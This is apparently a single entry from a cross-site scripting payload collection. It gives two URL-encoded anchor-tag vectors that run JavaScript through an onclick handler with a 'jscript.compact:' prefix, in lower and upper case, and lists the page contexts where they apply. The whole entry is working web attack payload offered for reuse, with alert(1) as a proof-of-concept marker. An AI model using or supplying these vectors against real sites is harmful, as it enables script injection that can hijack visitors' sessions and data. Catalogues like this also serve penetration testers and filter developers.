For more vectors please visit the XSS cheat sheet

%3Ca%20href%3D%22%23%22%20onclick%3D%22jscript.compact%3Aalert%281%29%3B%22%3Etest%3C%2Fa%3E%0A%3Ca%20href%3D%22%23%22%20onclick%3D%22JSCRIPT.COMPACT%3Aalert%281%29%3B%22%3Etest%3C%2Fa%3E

Supported contexts: html,before_body,js_string_single,js_string_double,head